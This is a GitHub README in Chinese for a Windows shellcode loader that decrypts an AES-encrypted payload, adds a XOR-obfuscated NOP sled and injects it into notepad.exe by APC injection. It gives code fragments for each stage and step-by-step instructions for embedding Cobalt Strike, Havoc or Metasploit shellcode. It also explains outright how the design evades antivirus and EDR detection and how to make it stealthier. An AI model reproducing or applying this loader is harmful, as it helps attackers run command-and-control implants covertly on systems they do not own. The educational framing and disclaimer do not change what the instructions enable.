khalid609/ShellcodeMutator-APCInjection

GitHub: khalid609/ShellcodeMutator-APCInjection

这是一个用于研究shellcode注入与规避技术的教育工具。

Stars: 3 | Forks: 0

# 🕵️ Shellcode变异器与APC注入 — 研究工具 ## 📌 概述 本项目实现了一个**Shellcode传递管道**,结合了多种规避技术,用于研究现代恶意软件加载器的工作机制。它面向学习进程注入、Shellcode混淆以及杀毒软件/终端检测与响应规避概念的网络安全学生和研究人员。 管道运行流程如下: ``` AES-encrypted shellcode (demon.x64.h) │ ▼ AES-ECB Decrypt (Decrypt.h / BCrypt API) │ ▼ NOP Sled Prepend (ShellcodeMutator.h) │ ▼ XOR Encode (Decoder.h) │ ▼ APC Injection → notepad.exe (main.cpp / WinAPI) │ ▼ Shellcode Execution ``` ## 🏗️ 架构 ``` ┌──────────────────────────────────────────────────────────┐ │ main.cpp │ │ │ │ 1. mutate() ──→ Decrypt + prepend NOP sled │ │ 2. XOR() ──→ Encode entire buffer │ │ 3. CreateProcess (notepad.exe, SUSPENDED) │ │ 4. VirtualAllocEx → WriteProcessMemory │ │ 5. VirtualProtectEx (PAGE_EXECUTE_READWRITE) │ │ 6. QueueUserAPC → ResumeThread │ └──────────────────────────────────────────────────────────┘ ▲ ▲ │ │ ┌────────┴──────┐ ┌────────┴──────────┐ │ Mutate.h │ │ Decoder.h │ │ ───────── │ │ ───────── │ │ AESDecrypt() │ │ XOR() │ │ add_nops() │ │ NOP-aware │ └───────────────┘ └───────────────────┘ ▲ │ ┌────────┴──────────────────┐ │ Decrypt.h │ │ ───────── │ │ BCrypt AES-ECB │ │ 128 / 192 / 256-bit key │ └───────────────────────────┘ ▲ │ ┌────────┴──────────────────┐ │ demon.x64.h │ │ ───────── │ │ shellcode[] (encrypted) │ │ aesKey[] │ └───────────────────────────┘ ``` ## 📁 文件参考 | 文件 | 作用 | |---|---| | `main.cpp` | 入口点 — 协调整个管道并执行APC注入 | | `Decoder.h` | XOR编解码 — 感知NOP空操作填充,滚动密钥 | | `Decrypt.h` | 通过Windows BCrypt API进行AES-ECB解密 | | `Mutate.h` | 调用 `AESDecrypt`,然后通过 `ShellcodeMutator` 在前部添加XOR编码的NOP空操作填充 | | `ShellcodeMutator.h` | 将NOP字节(使用 `key[0]` 进行XOR编码)添加到Shellcode前部的类 | | `demon.x64.h` | Shellcode载荷容器 — **需要您自行填充** | ## 🔬 技术详解 ### 1. AES-ECB解密 Shellcode在 `demon.x64.h` 中以**预先加密**的形式存储。运行时使用Windows **BCrypt API** 在**ECB模式**(无IV,块对齐)下进行解密。 ``` // Decrypt.h — BCrypt AES-ECB BCryptOpenAlgorithmProvider(&hAlg, BCRYPT_AES_ALGORITHM, NULL, 0); BCryptSetProperty(hAlg, BCRYPT_CHAINING_MODE, BCRYPT_CHAIN_MODE_ECB, ...); BCryptGenerateSymmetricKey(hAlg, &hKey, NULL, 0, key.data(), key.size(), 0); BCryptDecrypt(hKey, ciphertext, ..., plaintext, ..., &resultSize, 0); ``` 支持的密钥大小:**128位(16字节)**、**192位(24字节)**、**256位(32字节)**。 ### 2. Shellcode变异 — NOP空操作填充前置 `ShellcodeMutator` 在Shellcode前部添加可配置数量的**XOR混淆后的NOP字节**(`0x90`)。这改变了字节签名,但不会改变执行行为(NOP在XOR处理中被解码)。 ``` // ShellcodeMutator.h uint8_t nops = 0x90 ^ key[0]; // NOP byte is obfuscated shellcode.insert(shellcode.begin(), nops); // prepended N times ``` 此技术使静态签名匹配变得更加困难 — Shellcode的开头字节与任何已知模式都不同。 ### 3. XOR编码 变异后,**整个缓冲区**进行XOR编码。编码器感知NOP空操作填充 — 前 `nopCount` 个字节仅使用 `key[0]` 编码,其余部分使用从完整密钥字符串派生的**滚动密钥**。 ``` // Decoder.h — XOR with NOP-sled awareness for (size_t i = 0; i < size; ++i) { if (i < nops) buffer[i] ^= key[0]; // NOP region: single-byte key else buffer[i] ^= key[(i - nops) % keylen]; // payload: rolling key } ``` 这种两区域编码确保了在执行时再次进行XOR时,NOP区域能正确解码回 `0x90`。 ### 4. APC注入 APC(异步过程调用)注入用于在合法的Windows进程内执行Shellcode,而无需创建可见的远程线程。 ``` CreateProcess(notepad.exe, CREATE_SUSPENDED) ↓ VirtualAllocEx → allocate RWX memory in target ↓ WriteProcessMemory → write shellcode bytes ↓ VirtualProtectEx → mark as PAGE_EXECUTE_READWRITE ↓ QueueUserAPC((PAPCFUNC)mem, thread, ...) ↓ ResumeThread → APC fires → shellcode executes ``` **为什么选择APC而非 `CreateRemoteThread`?** | 技术 | 可见性 | 检测风险 | |---|---|---| | `CreateRemoteThread` | 高 | 常被EDR标记 | | `QueueUserAPC` | 较低 | 监控较少,使用现有线程 | ## ⚙️ 环境设置 ### 前置条件 - **操作系统:** Windows 10/11 x64 - **IDE:** Visual Studio 2022 - 工作负载:`使用C++的桌面开发` - **SDK:** Windows SDK(随VS附带,`bcrypt.lib` 需要) - **架构:** x64 — 注入器和Shellcode必须匹配 ### 克隆 ``` git clone https://github.com/khalid609/ShellcodeMutator-APCInjection.git cd ShellcodeMutator-APCInjection ``` ## 🚀 使用方法 在构建前按顺序执行以下步骤。 ### 步骤一 — 生成您的Shellcode 使用C2框架(例如Havoc, Cobalt Strike, MSF)生成x64 Shellcode,然后**对其进行XOR编码**,并使用您选择的密钥(16、24或32字节)进行**AES-ECB加密**。 ### 步骤二 — 填充 `demon.x64.h` ``` // demon.x64.h std::vector shellcode = { 0xAB, 0xCD, ... // paste your AES-encrypted shellcode bytes here }; std::vector aesKey = { 0x00, 0x01, ... // paste your AES key here (16 / 24 / 32 bytes) }; ``` ### 步骤三 — 在 `main.cpp` 中设置XOR密钥 ``` // main.cpp const std::string key = "YourXORKeyHere"; // must not be empty ``` ### 步骤四 — (可选)调整NOP空操作填充大小 ``` // Mutate.h mutation.add_nops(5, key); // change 5 to any count you want ``` ``` // main.cpp XOR(shellcode.data(), shellcode.size(), key, 5); // must match the count above ``` ### 步骤五 — 配置目标进程 默认情况下,注入器目标是 `notepad.exe`。如需更改,请编辑 `main.cpp`: ``` BOOL cprocess = CreateProcessA( "C:\\Windows\\System32\\notepad.exe", // ← change path here ... ); ``` ### 步骤六 — 构建 ``` Visual Studio → Build → Build Solution (Ctrl+Shift+B) Platform Target: x64 ``` 验证 `bcrypt.lib` 是否已链接 — `Decrypt.h` 中的pragma会自动处理此操作: ``` #pragma comment(lib, "bcrypt.lib") ``` ### 步骤七 — 运行 执行编译后的二进制文件。控制台输出将追踪每个步骤: ``` Success: Process created in suspended state. Success: Memory allocated in remote process. Success: Shellcode written to remote process memory. Success: Memory protection changed to executable. Success: APC queued for execution. Success: Thread resumed. Shellcode should now execute. ``` ## ⚠️ 已知局限 | 问题 | 详情 | |---|---| | AES-ECB模式 | ECB没有IV — 相同的明文块会产生相同的密文。为获得更强安全性,建议使用CBC或CTR模式。 | | `PAGE_EXECUTE_READWRITE` | 一步分配RWX内存是常见的EDR启发式触发条件。两步分配(RW → RX)更隐蔽。 | | 空XOR密钥 | 如果密钥为空,`XOR()` 和 `add_nops()` 都会提前返回 — 请务必设置非空密钥。 | | NOP计数不匹配 | `add_nops(N)` 和 `XOR(..., N)` 必须使用相同的 `N` 值,否则NOP区域解码将不正确。 | | 硬编码目标 | `notepad.exe` 路径是硬编码的 — 应使其可配置以用于更广泛的实验环境。 | ## 🛡️ 学习内容 | 主题 | 学习目标 | |---|---| | AES-ECB解密 | 使用BCrypt在运行时解密嵌入式载荷 | | XOR混淆 | 滚动密钥XOR以及密钥长度的重要性 | | NOP空操作填充变异 | 字节级别的签名规避原理 | | APC注入 | 在合法进程内隐蔽执行代码 | | WinAPI内存管理 | `VirtualAllocEx`, `WriteProcessMemory`, `VirtualProtectEx` | | 进程创建 | 使用 `CREATE_SUSPENDED` 的 `CreateProcess` 和句柄管理 | | BCrypt API | 不使用第三方库的Windows原生加密 | | 句柄管理 | 在所有代码路径中正确清理进程/线程句柄 | ## 👤 作者 **Khalid** — 网络安全学生 GitHub: [@khalid609](https://github.com/khalid609) ## 📄 免责声明 本项目仅发布用于**教育目的**,并应在隔离的实验环境中使用。 作者对滥用行为不承担任何责任。请勿将其部署在您不拥有的系统上。
标签:AES解密, APC注入, AV/EDR逃避, BCrypt API, DNS 反向解析, NOP-sled, pdftotext, shellcode变异, shellcode注入, SSH蜜罐, Windows API, XOR混淆, 云资产清单, 恶意软件研究, 恶意载荷, 教育工具, 突变技术, 端点可见性, 网络安全, 进程注入, 逆向工程, 隐私保护